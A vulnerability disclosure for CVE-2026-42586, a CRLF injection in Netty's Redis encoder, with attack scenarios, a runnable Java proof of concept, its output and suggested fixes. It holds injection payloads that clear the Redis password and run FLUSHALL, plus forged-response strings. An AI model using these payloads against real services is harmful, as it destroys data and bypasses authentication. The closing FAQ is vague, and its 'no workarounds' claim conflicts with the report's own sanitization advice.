CVE-2026-42586: Netty: CRLF Injection in Netty Redis Codec Encoder
Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-redis) | | Component | io.netty.handler.codec.redis.RedisEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) | | Impact | Redis Command Injection / Response Poisoning | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | None | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | High | | Integrity Impact | High | | Availability Impact | None |
2. Affected Components
The following classes in the codec-redis module are affected:
- io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation) - io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation) - io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation) - io.netty.handler.codec.redis.ErrorRedisMessage (no input validation) - io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)
3. Vulnerability Description
The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.
Root Cause
In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:
java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) + RedisConstants.EOLLENGTH); type.writeTo(buf); ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION buf.writeShort(RedisConstants.EOLSHORT); // <-- Appends \r\n out.add(buf); }
The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:
java // AbstractStringRedisMessage.java:30-32 AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); // NO CRLF validation }
Comparison with Similar Fixed CVEs
This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:
| CVE | Component | Fix | |-----|-----------|-----| | GHSA-jq43-27x9-3v86 | SmtpRequestEncoder - SMTP command injection | Added SmtpUtils.validateSMTPParameters() to check for \r and \n | | GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder - CRLF in URI | Added HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP |
The Redis codec has no equivalent validation in either the encoder or the message constructors.
4. Exploitability Prerequisites
This vulnerability is exploitable when all of the following conditions are met:
1. The application uses Netty's codec-redis module to communicate with a Redis server 2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content 3. The application does not perform its own CRLF sanitization before constructing these message objects
Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.
Affected use cases include: - Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity - Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses - Applications that construct Redis monitoring or diagnostic commands from user input - Redis Sentinel or Cluster management tools using inline command format
5. Attack Scenarios
Scenario 1: Redis Command Injection via Inline Commands
When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:
java // Application code that builds Redis commands from user input String userKey = request.getParameter("key"); // Attacker controls this InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey); channel.writeAndFlush(msg);
Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"
Result: Three commands sent to Redis: 1. GET foo 2. CONFIG SET requirepass "" (removes authentication!) 3. FLUSHALL (deletes all data!)
Scenario 2: Redis Response Poisoning
When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:
java // Proxy forwarding a simple string response SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse); downstreamChannel.writeAndFlush(response);
Malicious upstream response: "OK\r\n$6\r\nhacked"
Client sees: 1. Simple String: +OK (expected response) 2. Bulk String: $6\r\nhacked (injected fake data!)
Scenario 3: Error Message Injection
java ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);
Attack input: errorDetail = "unknown\r\n+FAKESUCCESS"
Client sees: 1. Error: -ERR unknown 2. Simple String: +FAKESUCCESS (injected fake success!)
6. Proof of Concept
Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; import io.netty.buffer.UnpooledByteBufAllocator; import io.netty.channel.ChannelHandlerContext; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.redis.;
import java.nio.charset.StandardCharsets; import java.util.List; import java.util.ArrayList;
/ PoC: Redis Encoder CRLF Injection Vulnerability Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage, and ErrorRedisMessage do not validate content for CRLF characters, allowing Redis command injection via the RESP protocol. / public class RedisEncoderCRLFInjectionPoC {
public static void main(String[] args) { System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");
testInlineCommandInjection(); testSimpleStringInjection(); testErrorMessageInjection();
System.out.println("\n=== PoC Complete ==="); }
/ Test 1: Inline Command Injection An attacker-controlled string injected into InlineCommandRedisMessage results in multiple Redis commands being sent. / static void testInlineCommandInjection() { System.out.println("[TEST 1] Inline Command CRLF Injection"); System.out.println("----------------------------------------");
// Malicious content: inject FLUSHALL after a benign PING String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
// This should be rejected but is accepted InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent); channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF8); output.release(); channel.finishAndReleaseAll();
System.out.println("Input: InlineCommandRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// Count how many CRLF-delimited commands are in the output String[] commands = encoded.split("\r\n"); System.out.println("Number of commands parsed by Redis: " + commands.length); for (int i = 0; i < commands.length; i++) { if (!commands[i].isEmpty()) { System.out.println(" Command " + (i + 1) + ": " + commands[i]); } }
boolean vulnerable = commands.length > 1; System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO")); System.out.println(); }
/ Test 2: SimpleString Response Injection When Netty acts as a Redis proxy/middleware, a malicious SimpleString can inject fake responses to the downstream client. / static void testSimpleStringInjection() { System.out.println("[TEST 2] SimpleString Response CRLF Injection"); System.out.println("----------------------------------------------");
// Malicious content: inject a fake bulk string response after OK String maliciousContent = "OK\r\n$6\r\nhacked";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent); channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF8); output.release(); channel.finishAndReleaseAll();
System.out.println("Input: SimpleStringRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// The RESP protocol uses the first byte to determine type: // '+' = Simple String, '$' = Bulk String // A client parsing this would see: // 1. "+OK\r\n" -> Simple String "OK" // 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!) boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO")); System.out.println(); }
/ Test 3: Error Message Injection Similar to SimpleString but with error messages. / static void testErrorMessageInjection() { System.out.println("[TEST 3] Error Message CRLF Injection"); System.out.println("--------------------------------------");
String maliciousContent = "ERR unknown\r\n+INJECTEDOK";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent); channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF8); output.release(); channel.finishAndReleaseAll();
System.out.println("Input: ErrorRedisMessage(\"" + maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")"); System.out.println("Encoded: \"" + encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTEDOK"); System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO")); System.out.println(); } }
How to Compile and Run
bash Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')
Compile and run javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java java -cp "$JARS:." RedisEncoderCRLFInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Redis Encoder CRLF Injection PoC ===
[TEST 1] Inline Command CRLF Injection ---------------------------------------- Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL") Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n" Number of commands parsed by Redis: 3 Command 1: PING Command 2: CONFIG SET requirepass "" Command 3: FLUSHALL VULNERABLE: YES - Multiple commands injected!
[TEST 2] SimpleString Response CRLF Injection ---------------------------------------------- Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked") Encoded: "+OK\r\n$6\r\nhacked\r\n" VULNERABLE: YES - Response poisoning possible!
[TEST 3] Error Message CRLF Injection -------------------------------------- Input: ErrorRedisMessage("ERR unknown\r\n+INJECTEDOK") Encoded: "-ERR unknown\r\n+INJECTEDOK\r\n" VULNERABLE: YES - Error + fake OK injected!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description | |----------------|-------------| | Confidentiality | HIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS to enumerate all data | | Integrity | HIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration | | Availability | Can be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS | | Authentication Bypass | CONFIG SET requirepass "" removes authentication | | Data Exfiltration | Lua scripting via EVAL enables complex data extraction |
8. Remediation Recommendations
Option 1: Validate in Message Constructors (Recommended)
Add CRLF validation to AbstractStringRedisMessage:
java AbstractStringRedisMessage(String content) { this.content = ObjectUtil.checkNotNull(content, "content"); validateContent(content); }
private static void validateContent(String content) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "Redis message content contains illegal CRLF character at index " + i); } } }
Option 2: Validate in Encoder (Defense-in-Depth)
Add validation in RedisEncoder.writeString():
java private static void writeString(ByteBufAllocator allocator, RedisMessageType type, String content, List<Object> out) { for (int i = 0; i < content.length(); i++) { char c = content.charAt(i); if (c == '\r' || c == '\n') { throw new RedisCodecException( "Redis message content contains CRLF at index " + i); } } // ... existing encoding logic }
Option 3: Both (Best Practice)
Apply validation in both the constructor and the encoder, following the pattern used for SMTP: - SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor - This provides defense-in-depth against custom SmtpRequest implementations
9. Resources
- RESP Protocol Specification - CWE-93: Improper Neutralization of CRLF Sequences - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection - GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection
Other sources
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/io.netty:netty-codec-redisto a version that resolves this vulnerability.Fixed in 4.1.133.Final - Upgrade
Upgrade
maven/io.netty:netty-codec-redisto a version that resolves this vulnerability.Fixed in 4.2.13.Final - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.2.13.FinalPatch GHSA-84h7-rjj3-6jx4 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.1.133.FinalPatch GHSA-84h7-rjj3-6jx4
Event History
Frequently Asked Questions
What is the severity of CVE-2026-42586?
CVE-2026-42586 has a severity rating that indicates potential risk through CRLF injection vulnerabilities within Netty's Redis Codec.
How do I fix CVE-2026-42586?
To fix CVE-2026-42586, upgrade to Netty version 4.2.13.Final or later if using version 4.2.12.Final or prior.
What versions of Netty are affected by CVE-2026-42586?
CVE-2026-42586 affects all versions of Netty prior to 4.2.13.Final, particularly those with codec-redis.
What impact does CVE-2026-42586 have on applications?
CVE-2026-42586 may allow attackers to exploit CRLF injection to manipulate responses, potentially impacting application security.
Is there a workaround for CVE-2026-42586?
There are no known workarounds for CVE-2026-42586; the only mitigation is to upgrade to the recommended Netty version.